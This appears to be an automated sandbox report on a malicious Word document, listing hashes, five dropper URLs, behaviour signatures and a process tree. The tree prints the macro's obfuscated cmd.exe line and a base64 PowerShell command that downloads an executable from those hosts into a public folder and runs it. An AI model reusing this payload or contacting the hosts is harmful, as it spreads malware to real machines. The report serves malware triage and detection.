1e52d21cc79be3403419f679a554b715835fcb71fbcf3e385a1368c6d3c19cf7

General

Target

JHL_D_3392853_28_08_2018.doc
Size

83KB
MD5

e4625136904c387f83100ce9861b2e21
SHA1

3b29428a6cea904abd2903d5623fd7094914fec6
SHA256

8db36a2bb5a769e6d5f1598734a7f26fcabed65197a0463a3ff1cc1486953d3c
SHA512

191b87540c3f9d8ae06dd0532e22dafab46f2ab247a682f40f1a5a7bbdaa5e3b14e900a9195ef1077421695f9dfa3525d3a2b950a4eece65ad9200d0b4eebd9d
SSDEEP

1536:JptJlmrJpmxlRw99NBO+aA7IrlnKchqXN076KC0It4oC:3te2dw99fx2vR1It4

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://aliu-rdc.org/QwWKYJxM

exe.dropper

http://2idiotsandnobusinessplan.com/wC7

exe.dropper

http://7naturalessences.com/DFaSvtrS

exe.dropper

http://benimdunyamkres.com/v0vig1G1

exe.dropper

http://hostmktar.com/mP

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	524	3508	CMd.exe	89

Blocklisted process makes network request 1 IoCs

flow	pid	Process
50	4380	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
524	CMd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3508	WINWORD.EXE
3508	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4380	powershell.exe
4380	powershell.exe
4380	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4380	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3508	WINWORD.EXE
3508	WINWORD.EXE
3508	WINWORD.EXE
3508	WINWORD.EXE
3508	WINWORD.EXE
3508	WINWORD.EXE
3508	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3508 wrote to memory of 524	3508	WINWORD.EXE	97
PID 3508 wrote to memory of 524	3508	WINWORD.EXE	97
PID 524 wrote to memory of 4380	524	CMd.exe	105
PID 524 wrote to memory of 4380	524	CMd.exe	105

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\JHL_D_3392853_28_08_2018.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3508
- C:\Windows\SYSTEM32\CMd.exe
  CMd /v/r " ^sE^T ^ ^h^q^x==^=^A^Ag^AA^I^AACA^g^AA^IAAC^A^g^AAIAAC^A^gA^A^I^A^ACAg^AA^I^AACAgA^AI^A^0^H^A9Bw^e^Ag^G^AjBA^dAEGA^jBQf^As^D^ArB^QYA^UG^Ay^B^g^Y^As^D^A^O^B^wQ^A^Y^E^A^k^AAI^A0GA^lB^A^d^A^k^EAt^AQZ^AsGAvB^g^d^A^4G^AJ^Bw^OA^kC^AOBw^QAYEA^kAA^IAwCATB^Aa^AY^E^A^k^AAK^AUG^A^s^B^QaAYE^AkBQ^YA8^G^As^BgbAcHAv^B^AR^A^4C^A^y^BQ^Q^A^o^G^AkAweA^kH^A^y^B^A^dA^s^HAp^A^gT^A8^GA^GB^AJA^ACA^uBQ^a^A^ACATBAa^AYE^A^k^A^A^KAgG^A^jB^QYA^UG^AyBwbAY^GA^7^A^wJA^U^G^A4^B^QZA^4CAn^AwKAYGA2^B^A^U^A^QC^ArAwJ^Aw^FAn^A^wK^A^M^GA^pBA^b^A^I^G^A1B^AcAoD^A^2^Bg^b^A^U^GA^kAQPA4E^AD^B^gR^AQCA^7Aw^J^A^ADA^x^A^wN^AcCA^g^A^Q^P^A^ACAmBg^dAA^F^A^k^AwO^A^kC^AnAA^QAcCAoA^Ad^AkG^A^sBAc^AMFA^u^Aw^JAAF^A^t^B^wL^A0GAv^Bw^YA^4CAyBQ^YAQHAr^B^Q^bA^Q^HAzB^w^bAg^GAvAw^LA^o^DA^w^B^AdA^QHA^o^BAQAED^A^HBQM^AcGAp^Bgd^A^A^DA2^BwL^A0^GAvB^w^Y^A4C^AzBQZ^AI^HArB^Q^bA^EGA^5B^g^b^A^UH^Ak^BQb^Ak^GAuBQ^ZA^I^G^Av^AwL^A^oD^A^w^BAdA^Q^H^A^o^BAQ^A^MF^AyB^A^dA^YH^ATBQY^A^YE^AE^B^wLA^0^G^AvBw^Y^A^4C^Az^BQ^ZAMGAu^B^Q^Z^AMH^AzB^Q^ZAw^G^A^h^Bgc^A^UH^A0B^QYA4^GA^3Aw^L^A8CA6A^Ac^AQ^H^A0^B^A^a^AA^E^A3^A^wQ^AcH^AvAQ^b^A^8^G^A^j^B^g^LA4^G^AhBAb^AA^H^A^z^B^wc^A^U^GA^uB^Qa^A^MHA1B^g^YA^8G^A^uBA^ZA4G^Ah^B^wc^A^QHAvB^Qa^AQ^GA^p^B^g^M^A^8CAv^A^g^O^AAHA0BA^d^A^gG^A^ABQ^T^AgHA^KB^QW^A^sEAX^Bwd^A^EF^Av^A^wZ^A^I^H^AvB^g^LAM^GA^k^BgcA0C^A1B^Q^a^A^wG^A^h^B^w^L^A^8C^A^6^AAcA^QHA^0^BA^a^AcCA9^A^g^T^A^8^G^AG^B^A^J^AsD^A^0BgbA^U^G^Ap^BAb^AM^EAi^BQ^Z^AcFAu^A^AdAU^GA^O^BAIA^QH^A^j^BQZ^A^o^GAi^B^w^bA^0C^A^3BQZA^4^GA^9A^gc^AEEAqB^AJ ^e- ^l^le^h^sr^ewop& ^F^Or /^l %^Y ^In (^ ^9^8^9^ ^ ^ ^-^1 ^0)D^O ^s^E^t u^j^L^a=!u^j^L^a!!^h^q^x:~%^Y, 1!&^iF %^Y == ^0 CA^L^L %u^j^L^a:~^-^99^0% "
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABqAEEAcgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABGAG8ATgA9ACcAaAB0AHQAcAA6AC8ALwBhAGwAaQB1AC0AcgBkAGMALgBvAHIAZwAvAFEAdwBXAEsAWQBKAHgATQBAAGgAdAB0AHAAOgAvAC8AMgBpAGQAaQBvAHQAcwBhAG4AZABuAG8AYgB1AHMAaQBuAGUAcwBzAHAAbABhAG4ALgBjAG8AbQAvAHcAQwA3AEAAaAB0AHQAcAA6AC8ALwA3AG4AYQB0AHUAcgBhAGwAZQBzAHMAZQBuAGMAZQBzAC4AYwBvAG0ALwBEAEYAYQBTAHYAdAByAFMAQABoAHQAdABwADoALwAvAGIAZQBuAGkAbQBkAHUAbgB5AGEAbQBrAHIAZQBzAC4AYwBvAG0ALwB2ADAAdgBpAGcAMQBHADEAQABoAHQAdABwADoALwAvAGgAbwBzAHQAbQBrAHQAYQByAC4AYwBvAG0ALwBtAFAAJwAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAFAAdgBmACAAPQAgACcANwAxADAAJwA7ACQARgBDAE4APQAkAGUAbgB2ADoAcAB1AGIAbABpAGMAKwAnAFwAJwArACQAUAB2AGYAKwAnAC4AZQB4AGUAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAaABTACAAaQBuACAAJABGAG8ATgApAHsAdAByAHkAewAkAGoAQQByAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAEYAaABTACwAIAAkAEYAQwBOACkAOwBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAEYAQwBOADsAYgByAGUAYQBrADsAfQBjAGEAdABjAGgAewB9AH0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4380

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4092 --field-trial-handle=2280,i,716736634476467098,11449718822158202904,262144 --variations-seed-version /prefetch:8
1⤵
PID:3436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_alttsyfi.1e5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\710.exe

Filesize
7KB

MD5
b8c6ad4b788e720c6b7b4fab70b81ad4

SHA1
d0eba959434bd8dd359701789cf577b52f448be0

SHA256
925d31f83e732cea00ab6bccd98966ca16496864f65936b187a908b822594a15

SHA512
649a5d44c4307d2379c1c85352972c7013c7f720cec475b3e7a2a48ec513bb1c1bcd7a1021bd3c3fb46db2ab5dec0eddf9416ef92a63fb56dc586f5a897e5d6a

Download Submit
memory/3508-27-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/3508-80-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/3508-0-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/3508-5-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/3508-7-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/3508-8-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/3508-6-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/3508-9-0x00007FFE89080000-0x00007FFE89090000-memory.dmp

Filesize
64KB

Download
memory/3508-11-0x00007FFE89080000-0x00007FFE89090000-memory.dmp

Filesize
64KB

Download
memory/3508-1-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/3508-4-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/3508-3-0x00007FFECB84D000-0x00007FFECB84E000-memory.dmp

Filesize
4KB

Download
memory/3508-26-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/3508-28-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/3508-2-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/3508-55-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/3508-56-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/3508-57-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/3508-76-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/3508-77-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/3508-79-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/3508-78-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/4380-38-0x0000022573D40000-0x0000022573D62000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads